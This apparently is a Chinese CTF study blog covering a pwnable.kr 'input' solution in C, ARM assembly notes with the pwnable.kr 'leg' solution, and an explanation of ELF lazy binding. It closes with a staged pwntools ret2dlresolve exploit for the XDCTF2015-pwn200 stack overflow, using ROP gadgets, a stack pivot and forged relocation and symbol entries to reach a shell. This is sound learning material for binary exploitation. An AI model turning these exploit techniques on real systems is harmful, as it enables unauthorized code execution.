AF_INET (一般用) IPv4协议
AF_INET6 IPv6协议
AF_LOCAL Unix域协议
AF_ROUTE 路由套接字
AF_KEY 密钥套接字

type参数指明socket类型

type 说明
SOCK_STREAM 字节流套接字
SOCK_DGRAM 数据报套接字
SOCK_SEGPACKET 有序分组套接字
SOCK_RAW 原始套接字

protocol指协议,一般赋值0让系统自动选择

(这三个参数更详细的内容可以在这里找到)

sockaddr_in结构体

用来设置具体地址给bind函数当做参数,因为一些字节序的原因不直接使用sockaddr,但两者目的等价;设置好协议簇之后,IP地址的sin_addr.s_addr可以用INADDR_ANY表示本机,也可以用具体的IP地址,如inet_addr("192.168.1.1");然后端口号使用hton()封装,转换字节序

这里题目的意思就是将我们argv['C']处的值作为绑定的端口号

bind、listen、accept、recv

设置好结构体后此程序作为服务端程序,bind对应端口,然后监听,listen函数的第一个参数即为监听的socket描述字,第二个参数为相应socket可以排队的最大连接个数。socket()函数创建的socket默认是一个主动类型的,listen函数将socket变为被动类型的,等待客户的连接请求。

这里accept返回的是新的已连接的socket描述字,和前面的监听socket描述字不一样,监听socket描述字一直存在,而当服务器完成某服务后已连接的socket描述字就会被关闭

之后使用recv接受四字节内容

更加具体的描述可以看这篇文章,同时这里还有一张图表示建立连接与TCP三次握手的关系

solution

直接上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>

char *P="/home/pwner/Desktop/pwnable.kr/input2/input";//写题时换成pwnable.kr那边的路径
int main(){

char *Argv[101];
char *Envp[2];
//argv
int i;
for(i=0;i<100;i++)Argv[i]="\x20";
Argv['A']="\x00";
Argv['B']="\x20\x0a\x0d";
Argv[100]=NULL;//设置参数
//env
Envp[0]="\xde\xad\xbe\xef=\xca\xfe\xba\xbe";
Envp[1]=NULL;//设置环境变量

int fd1=open("./infile" , O_CREAT | O_RDWR , S_IRWXU | S_IRWXO | S_IRWXG);
int fd2=open("./errfile", O_CREAT | O_RDWR , S_IRWXU | S_IRWXO | S_IRWXG);
//这里创建两个文件打开后用于将0,2文件描述符覆盖

write(fd1,"\x00\x0a\x00\xff",4);
write(fd2,"\x00\x0a\x02\xff",4);

dup2(fd1,0);
dup2(fd2,2);
lseek(fd1,0,SEEK_SET);//写文件之后要调用lseek将文件指针重置一下
lseek(fd2,0,SEEK_SET);

close(fd1);close(fd2);

int fd3=open("./\x0a", O_CREAT | O_RDWR , S_IRWXU | S_IRWXO | S_IRWXG);//这里创建需要的“回车”文件
write(fd3,"\x00\x00\x00\x00",4);
close(fd3);

Argv['C']="8888";

execve(P,Argv,Envp);
}

然后我解题的具体做法是进入pwnable服务器之后,cd /tmp ,mkdir ljc ,cd ljc ,touch solu.c , vim solu.c

然后把这段代码写进去,修改一下可执行文件的路径保存,再 ln -s flag /home/input2/flag 为了最后一步cat flag,gcc编译之后运行,此时就会等待stage5,再从一个新的命令行用python输入就行

image-20210104202957472

pwnable.kr —— leg

一道ARM汇编的题目,来入门一下arm的汇编

ARM学习

从这个教程开始

搭环境我创了一个全新的ubuntu 20 虚拟机…装了大概一天的各种依赖等等,把python2装上去了,还有什么re2c,Ninja,meson,编译安装了一个qemu,东西还挺多的,然后又琢磨了一晚上qemu树莓派虚拟机的网络问题….照着这里(这里的helper最后还是没用,琢磨了一个下午也没琢磨出来。。tcl)还是用教程的指导把树莓派虚拟机网络问题解决了,我起qemu的命令是这样的

1
2
3
4
5
6
7
8
9
10
11
stty intr ^]
qemu-system-arm -kernel /home/coldshield/qemu_vms/kernel-qemu-4.4.34-jessie \
-cpu arm1176 \
-m 256 \
-M versatilepb \
-serial stdio \
-net nic \
-nic tap,ifname=tap0,script=no,downscript=no\
-append "root=/dev/sda2 rootfstype=ext4 rw console=ttyAMA0,115200" \
-hda /home/coldshield/qemu_vms/2017-03-02-raspbian-jessie.img \
-no-reboot

进去之后我是设置静态DNS还有网络,然后让虚拟机和host还有外网都能ping通,(参照过这里,后来自己又谷歌了一下静态配置,用了一个静态的IP还有DNS连上我的tap),然后因为镜像的磁盘空间不够又给手动扩了个容….参照这里。还有树莓派虚拟机里面的gdb只能支持python2的gef,那个教程没更新了吧可能,用gef-legacy就行,反正全部弄清楚是啥然后搭起来断断续续搞了两三天的样子….

随手记一些教程上的东西,可能会特别粗略

常见访存指令&后缀

1
2
3
4
5
6
7
8
9
10
11
ldr = Load Word
ldrh = Load unsigned Half Word
ldrsh = Load signed Half Word
ldrb = Load unsigned Byte
ldrsb = Load signed Bytes

str = Store Word
strh = Store unsigned Half Word
strsh = Store signed Half Word
strb = Store unsigned Byte
strsb = Store signed Byte

一些寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

R0 – General purpose
R1 – General purpose
R2 – General purpose
R3 – General purpose
R4 – General purpose
R5 – General purpose
R6 – General purpose
R7 – Holds Syscall Number 系统调用号
R8 – General purpose
R9 – General purpose
R10 – General purpose
R11 FP Frame Pointer 类似EBP
R12 IP Intra Procedural Call
R13 SP Stack Pointer 类似ESP,以字节为单位
R14 LR Link Register 函数返回时存放返回地址
R15 PC Program Counter 类似EIP,但实际内容不是存放next的地址,而是存放当前执行指令+2指令的地址(ARM模式值+8,Thumb模式值+4,这里应该是跟指令流水线有关?)
CPSR – Current Program Status Register

函数调用时前四个参数存在 r0-r3

Thumb

When writing ARM shellcode, we need to get rid of NULL bytes and using 16-bit Thumb instructions instead of 32-bit ARM instructions reduces the chance of having them

可以用BX还有BLX指令设置寄存器最低位为1来切换ARM和Thumb模式,执行的时候最低位会被忽略所以不会产生地址对齐问题

具体的指令格式相关还是看教程吧….这里记一个大概

1
2
3
4
5
6
7
MNEMONIC{S}{condition} {Rd}, Operand1, Operand2
MNEMONIC - 指令助记符
{S} - 可选后缀,如果设置S,flags将根据操作结果进行更新
{condition} - 执行指令所需的条件
{Rd} - 目的寄存器,用于存储指令结果(不过后续提到的ldm不是)
Operand1 - 寄存器或者立即数
Operand2 - 立即数或寄存器(可用于增加、偏移)

几种寻址方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ldr r2, [r0]         最普通的,有效地址就是r0的值(r0)
ldr r1, [pc, #12] 这里有效地址是(PC)+12(arm模式 4单位对齐),不是当前执行指令地址加12

str r2, [r1, #2] 这里有效地址是(r1)+2,r1不发生更改,offset
str r2, [r1, #4]! 这里有效地址是(r1)+4,第一操作数有感叹号,所以r1发生更改 r1=r1+4 ,pre-indexed
ldr r3, [r1], #4 这里有效地址是(r1),r1发生更改 r1=r1+4 ,post-indexed

str r2, [r1, r2]
str r2, [r1, r2]!
ldr r3, [r1], r2
这三种跟上面比较相似,只不过是把立即数换成了r2寄存器的值,更改的依然是r1(用r2的值相加)

str r2, [r1, r2, LSL#2] 有效地址是(r1) + ((r2)<<2),offset
str r2, [r1, r2, LSL#2]! 有效地址是(r1) + ((r2)<<2),r1发生更改 r1= (r1) + ((r2)<<2) ,pre-indexed
ldr r3, [r1], r2, LSL#2 有效地址是(r1),r1发生更改 r1= (r1) + ((r2)<<2) ,post-indexed

ARM中的立即数是最后操作数12中的,前8位(n)和后4位(r)的组合表示, v = n ror 2*r,循环右移得到,用于12位表示32位数

访存指令(Multiple)&后缀

这里有一串类似猝发式传送的指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
adr r0, words+12             /* address of words[3] -> r0 ,adr是取地址的指令*/
ldr r1, array_buff_bridge /* address of array_buff[0] -> r1 */
ldr r2, array_buff_bridge+4 /* address of array_buff[2] -> r2 */

ldm r0, {r4,r5} /* words[3] -> r4 = 0x03; words[4] -> r5 = 0x04 */
//ldm:load多个数据到目的寄存器,这里是将r0指向的连续内存数据分别load到r4 r5,默认情况下是r0增加的连续方向,此时执行后r0的值不会变
stm r1, {r4,r5} /* r4 -> array_buff[0] = 0x03; r5 -> array_buff[1] = 0x04 */
//stm则是将r4 45中的内容存到r1所指的连续内存,默认也是r0增加方向,此时r1值不改变

ldmia r0, {r4-r6} /* words[3] -> r4 = 0x03, words[4] -> r5 = 0x04; words[5] -> r6 = 0x05; */
stmia r1, {r4-r6} /* r4 -> array_buff[0] = 0x03; r5 -> array_buff[1] = 0x04; r6 -> array_buff[2] = 0x05 */
//这里是后缀的介绍还有指令写法可以写成r4-46,这样就是存3个了
//后缀具体代表 -IA (increase after), -IB (increase before), -DA (decrease after), -DB (decrease before)

ldmib r0, {r4-r6} /* words[4] -> r4 = 0x04; words[5] -> r5 = 0x05; words[6] -> r6 = 0x06 */
stmib r1, {r4-r6} /* r4 -> array_buff[1] = 0x04; r5 -> array_buff[2] = 0x05; r6 -> array_buff[3] = 0x06 */
ldmda r0, {r4-r6} /* words[3] -> r6 = 0x03; words[2] -> r5 = 0x02; words[1] -> r4 = 0x01 */
ldmdb r0, {r4-r6} /* words[2] -> r6 = 0x02; words[1] -> r5 = 0x01; words[0] -> r4 = 0x00 */
stmda r2, {r4-r6} /* r6 -> array_buff[2] = 0x02; r5 -> array_buff[1] = 0x01; r4 -> array_buff[0] = 0x00 */
stmdb r2, {r4-r5} /* r5 -> array_buff[1] = 0x01; r4 -> array_buff[0] = 0x00; */
//后缀的不同用法,I(x)时指令后面的寄存器操作顺序是顺着来的,D(x)时指令后面的寄存器操作顺序是逆着来的,要注意差别。这里第一个寄存器都不会发生改变

bx lr

push&pop

ARM中虽然直接写stmdb sp!, {r0, r1} ldmia sp!, {r4, r5} 在汇编会被翻译为 push {r0, r1} pop {r4, r5}
但push , pop本质上是stmdb sp!和ldmia sp!的代名词

所以push操作时是先push r1再push r0,从右到左;pop操作时是先pop r4再pop r5,从左到右;

条件执行相关

下表列出了ARM中可用的条件代码,它们的含义以及测试的标志,条件码跟着指令助记符满足指令格式就行,比如addlt,addsne

Condition Code Meaning (for cmp or subs) Status of Flags
EQ Equal Z==1
NE Not Equal Z==0
GT Signed Greater Than (Z==0) && (N==V)
LT Signed Less Than N!=V
GE Signed Greater Than or Equal N==V
LE Signed Less Than or Equal (Z==1) || (N!=V)
CS or HS Unsigned Higher or Same (or Carry Set) C==1
CC or LO Unsigned Lower (or Carry Clear) C==0
MI Negative (or Minus) N==1
PL Positive (or Plus) N==0
AL Always executed
NV Never executed
VS Signed Overflow V==1
VC No signed Overflow V==0
HI Unsigned Higher (C==1) && (Z==0)
LS Unsigned Lower or same (C==0) || (Z==0)

Thumb模式下有分支条件执行,语法格式是这样的

1
2
3
4
5
6
Syntax: IT{x{y{z}}} cond  ,IT指令之后会跟一个条件执行块,最多四条指令,这四条指令的条件都由这条IT指令指出

cond specifies the condition for the first instruction in the IT block(cond指出第一条指令的执行条件)
x specifies the condition switch for the second instruction in the IT block(x指出第二条指令执行的条件是不是和cond一样,如果x是T,那么第二条指令和cond条件相同;如果是E,那么第二条指令和cond条件相反)
y specifies the condition switch for the third instruction in the IT block(同上)
z specifies the condition switch for the fourth instruction in the IT block(同上)

所以Thumb模式下的条件执行指令块看起来就是这样的(这里直接偷图了):

image-20210111000847458

里面每个指令都是带条件的,并且符合IT指令的声明,常见的条件和相反条件有如下几个

Code Meaning Code Meaning
EQ Equal NE Not Equal
HS (or CS) Unsigned higher or same (or carry set) LO (or CC) Unsigned lower (or carry clear)
MI Negative PL Positive or Zero
VS Signed Overflow VC No Signed Overflow
HI Unsigned Higher LS Unsigned Lower or Same
GE Signed Greater Than or Equal LT Signed Less Than
GT Signed Greater Than LE Signed Less Than or Equal
AL (or omitted) Always Executed (There is no opposite to AL)

这里还有一段比较典型的将ARM切换成Thumb模式的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.syntax unified    @ this is important!
.text
.global _start

_start:
.code 32
add r3, pc, #1 @ increase value of PC by 1 and add it to R3,执行到这里时PC指向cmp指令
bx r3 @ branch + exchange to the address in R3 -> switch to Thumb state because LSB = 1

.code 16 @ Thumb state
cmp r0, #10
ite eq @ if R0 is equal 10...
addeq r1, #2 @ ... then R1 = R1 + 2
addne r1, #3 @ ... else R1 = R1 + 3
bkpt

分支指令(跳转)

三种分支指令:

  • Branch (B)
    • 简单跳转
  • Branch link (BL)
    • 将(当前执行指令地址+4)存入LR寄存器再跳转
  • Branch exchange (BX) and Branch link exchange (BLX)
    • 和B/BL指令一样步骤 然后最低位为1时会切换模式 (ARM <-> Thumb)
    • 必须用寄存器作为操作数

然后就是加上条件执行变成条件跳转了(跳转之后由于PC特性,会多读跳转目的处两条指令,实现自动PC+8?)

函数栈

先来看一个函数代码对应的汇编

main函数

1
2
3
4
5
6
7
8
int main()
{
int res = 0;
int a = 1;
int b = 2;
res = max(a, b);
return res;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Dump of assembler code for function main:
=> 0x000103e8 <+0>: push {r11, lr} @最开始执行到main时,lr存放的是<__libc_start_main+276> bl 0xb6ea4b28 <__GI_exit>,就是说这里将本函数的返回地址先存到了栈上
@然后r11存放的是前一个函数的栈帧地址(作用等于rbp吧)
0x000103ec <+4>: add r11, sp, #4 @新栈帧地址 直接sp+4得到,指向存放的lr
0x000103f0 <+8>: sub sp, sp, #16 @开辟了4*4字节大小的栈帧
0x000103f4 <+12>: mov r3, #0
0x000103f8 <+16>: str r3, [r11, #-8] @r11-8处存放0(res)
0x000103fc <+20>: mov r3, #1
0x00010400 <+24>: str r3, [r11, #-12] @r11-12处存放1(a)
0x00010404 <+28>: mov r3, #2
0x00010408 <+32>: str r3, [r11, #-16] @r11-16处存放2(b)
0x0001040c <+36>: ldr r0, [r11, #-12] @开始给要调用的函数赋值参数,把1给r0
0x00010410 <+40>: ldr r1, [r11, #-16] @把2给r1,这里可以看出来参数传递顺序
0x00010414 <+44>: bl 0x1042c <max> @把下个函数的返回地址存到lr后调用函数
0x00010418 <+48>: str r0, [r11, #-8] @(返回值赋给res,然后再给r0)
0x0001041c <+52>: ldr r3, [r11, #-8]
0x00010420 <+56>: mov r0, r3
0x00010424 <+60>: sub sp, r11, #4
0x00010428 <+64>: pop {r11, pc} @这里由于PC的特性,感觉将之前的lr内容给到PC之后,PC自己又会自动+8多读两条指令

上面代码中执行到+32处时栈帧看起来就是这样的(我这里sp指向栈顶后一个单元,可能有些实现会有不同):

image-20210111163416232

再来看max:

1
2
3
4
5
6
int max(int a,int b)
{
do_nothing();
if(a<b) return b;
else return a;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Dump of assembler code for function max:	@这里就不一行行解释了
=> 0x0001042c <+0>: push {r11, lr}
0x00010430 <+4>: add r11, sp, #4
0x00010434 <+8>: sub sp, sp, #8
0x00010438 <+12>: str r0, [r11, #-8]
0x0001043c <+16>: str r1, [r11, #-12]
0x00010440 <+20>: bl 0x1046c <do_nothing> @lr存入下一条指令地址然后跳转到do_nothing
0x00010444 <+24>: ldr r2, [r11, #-8]
0x00010448 <+28>: ldr r3, [r11, #-12]
0x0001044c <+32>: cmp r2, r3
0x00010450 <+36>: bge 0x1045c <max+48>
0x00010454 <+40>: ldr r3, [r11, #-12]
0x00010458 <+44>: b 0x10460 <max+52>
0x0001045c <+48>: ldr r3, [r11, #-8]
0x00010460 <+52>: mov r0, r3
0x00010464 <+56>: sub sp, r11, #4
0x00010468 <+60>: pop {r11, pc}

do_nothing:

1
2
3
4
int do_nothing()
{
return 0;
}
1
2
3
4
5
6
7
8
Dump of assembler code for function do_nothing:	@由于do_nothing没有再调用其他函数,所以没有push lr,返回时也是直接bx lr
=> 0x0001046c <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00010470 <+4>: add r11, sp, #0
0x00010474 <+8>: mov r3, #0
0x00010478 <+12>: mov r0, r3
0x0001047c <+16>: sub sp, r11, #0
0x00010480 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00010484 <+24>: bx lr

把函数调用看做一个树形结构的话,这里也可以看出叶子函数和非叶子函数的区别

OK到此为止对ARM的一些基础就知道的差不多了,来写题吧

leg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int main(){                                      
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}

从c语言内容可以看出来,主要就是看key1、key2、key3的汇编然后计算和即可,先来看key1

1
2
3
4
5
6
7
8
Dump of assembler code for function key1:                          
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr

这里就是考PC的特性,指向后两条指令处,即0x00008ce4,再来看key2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Dump of assembler code for function key2:                      
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc @跳转到这里的时候切成了Thumb模式,然后将r3赋值0x00008d08
0x00008d06 <+22>: adds r3, #4 @ r3=0x00008d0C
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc} @这里就是类似花指令的操作,接着执行
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3 @此时r3=0x00008d0C
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr

所以key2返回0x00008d0C,再来看key3

1
2
3
4
5
6
7
8
Dump of assembler code for function key3:                      
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr

这里lr存的是在main里面的返回地址,去main里面看就知道是0x00008d80

所以加起来就是0x1A770→108400,ssh过去就可以得到flag

_dl_runtime_resolve

这个应该说是一个很久远的坑了,算是给自己补补基础吧,也是查漏补缺23333,也顺带复习一下延迟绑定

写了一个程序自己调试程序调用_dl_runtime_resolve的过程

1
2
3
4
5
6
7
8
#include<stdio.h>
int main()
{
puts("hello world");
puts("hello world twice");
exit(0);
return 0;
}

第一次调用puts

1579182750270

直接call程序的plt段,plt段是一个是一个类似 jmp [GOT表] 的结构,此时的第一次调用的GOT项<0x804a00c>存放着一个0x08048306的plt段地址,如下所示

1579182851280

这个地方入栈了一个0,然后跳到0x80482f0 再入栈一个[0x804a004] (link_map)然后调用_dl_runtime_resolve函数来调用我们要用的函数

这个resolve函数一共是两个参数,这两个参数分别是一个link_map的指针和puts在ELF JMPREL Relocation Table中的偏移,示意如下

1
_dl_runtime_resolve(link_map, rel_offset)

其中ELF JMPREL Relocation Table中如下所示+0即为puts函数的偏移(64位的话就是index)

1579183036345

第一个参数&link_map如下所示,第三个数是.dynamic段的地址

1579183162193 1579183223982

主要注意观察这三个

这里介绍两个结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
typedef struct//Elf32_Sym 不过这里我没有给Symbol Table的截图
{
Elf32_Word st_name; //dd 符号名,是相对.dynstr起始的偏移
Elf32_Addr st_value;//dd
Elf32_Word st_size; //dd
unsigned char st_info; //db 对于导入函数符号而言,它是0x12
unsigned char st_other;//db
Elf32_Section st_shndx;//dw
} Elf32_Sym; //对于导入函数符号而言,其他字段都是0

typedef struct//Elf32_Rel
{
Elf32_Addr r_offset; //dd 指向GOT表的指针
Elf32_Word r_info; //dd
// 一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
} Elf32_Rel;

_dl_runtime_resolve具体步骤

  1. link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt(存放Elf32_Rel处) 的指针
  2. .rel.plt + 传入的第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel
  3. rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
  4. .dynstr + sym->st_name得出符号名字符串指针
  5. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
  6. 调用这个函数

大致有这么一张图

image-20200406224128730

第二次调用puts

1579183405159

可以看到此时got表已经被改成了puts函数的地址,所以第二次是直接调用

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
// 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value为libc基址加上要解析函数的偏移地址,也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

ret2dl

这个攻击更适于一些比较简单的栈溢出的情况,但同时又难以泄露获取更多信息的情况下

可用方式:

  1. 控制程序执行dl_resolve函数
    • 给定Link_map以及index两个参数。
    • 当然我们可以直接给定 plt[0]对应的汇编代码,这时,我们就只需要一个index就足够了。
  2. 控制index的大小,以便于指向自己所控制的区域,从而伪造一个指定的重定位表项。
  3. 伪造重定位表项,使得重定位表项所指的符号也在自己可以控制的范围内。
  4. 伪造符号内容,使得符号对应的名称也在自己可以控制的范围内

XDCTF2015-pwn200

image-20200406232708454 image-20200406232720644

程序的逻辑很简单,其中最主要的是下面的read栈溢出

为了来一步步学习ret2dl,就照着师傅的博客一步步来

stage1

stage是通过一个栈迁移的运用来打印我们读入的字符串/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = 'pwn200' #binary's name here
context.binary = binary #context here
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\x00'))
my_u32 = lambda x: u32(x.ljust(4, '\x00'))
global_max_fast=0x3c67f8
codebase = 0x555555554000
def loginfo(what='',address=0):
log.info("\033[1;36m" + what + '----->' + hex(address) + "\033[0m")

# todo here
ppp_ret = 0x0804856c
pop_ebp_ret = 0x08048453
leave_ret = 0x08048481

stack_size = 0x800
bss_addr = 0x0804A020 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

read_plt=0x08048390
write_plt=0x080483C0
'''
0x08048453 : pop ebp ; ret
0x08048452 : pop ebx ; pop ebp ; ret
0x0804856c : pop ebx ; pop edi ; pop ebp ; ret
0x080485cc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804836c : pop ebx ; ret
0x0804856d : pop edi ; pop ebp ; ret
0x080485cd : pop esi ; pop edi ; pop ebp ; ret
0x0804834b : ret
0x08048532 : ret 0xb8
0x08048481 : leave ; ret
'''
p.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * 0x70
payload += p32(read_plt) # 读100个字节到base_stage 这里栈是先读再迁移
payload += p32(ppp_ret) #清除参数
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
raw_input()
p.sendline(payload)

cmd = "/bin/sh"

payload2 = 'AAAA' # 接上一个payload的leave->pop ebp ; ret
payload2 += p32(write_plt)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2)) # pad
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

p.interactive()

stage2

这里修改了payload2,使其成为利用plt[0]+fake_index的方法来打印/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cmd = "/bin/sh"

plt_0 = 0x08048370
index_offset = 0x20 # write's index

payload2 = 'AAAA' # for pop ebp
payload2 += p32(plt_0)
payload2 += p32(index_offset) #fake index
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)

stage3

这次是利用一个fake Elf32_Rel,和fake offset来实现write的调用 offset就是通过fake_reloc-rel_plt的偏移计算出来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
cmd = "/bin/sh"
plt_0 = 0x08048370
rel_plt = 0x08048318
index_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc,减去rel_plt即偏移
write_got = elf.got['write']
r_info = 0x507 # write: Elf32_Rel->r_info
fake_reloc = p32(write_got) + p32(r_info)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

stage4

此时伪造了一个Elf32_Sym结构体还有fake r_info,至此我们已经可以劫持构造Elf32_Rel还有Elf32_sym了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
...
cmd = "/bin/sh"
plt_0 = 0x08048370
rel_plt = 0x08048318
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481D8
dynstr = 0x08048268
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = 0x54
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align #算出要对齐的字节数
payload2 += fake_sym # (base_stage+36)的位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

stage5

前面我们写了st_name = 0x54,指向的是string table中的write字符串

然后我们把他修改成我们输入的write字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
cmd = "/bin/sh"
plt_0 = 0x08048370
rel_plt = 0x08048318
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481D8
dynstr = 0x08048268
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "write\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

stage6

上一步我们用输入的write实现了调用,这一步直接改成system不就是getshell了吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
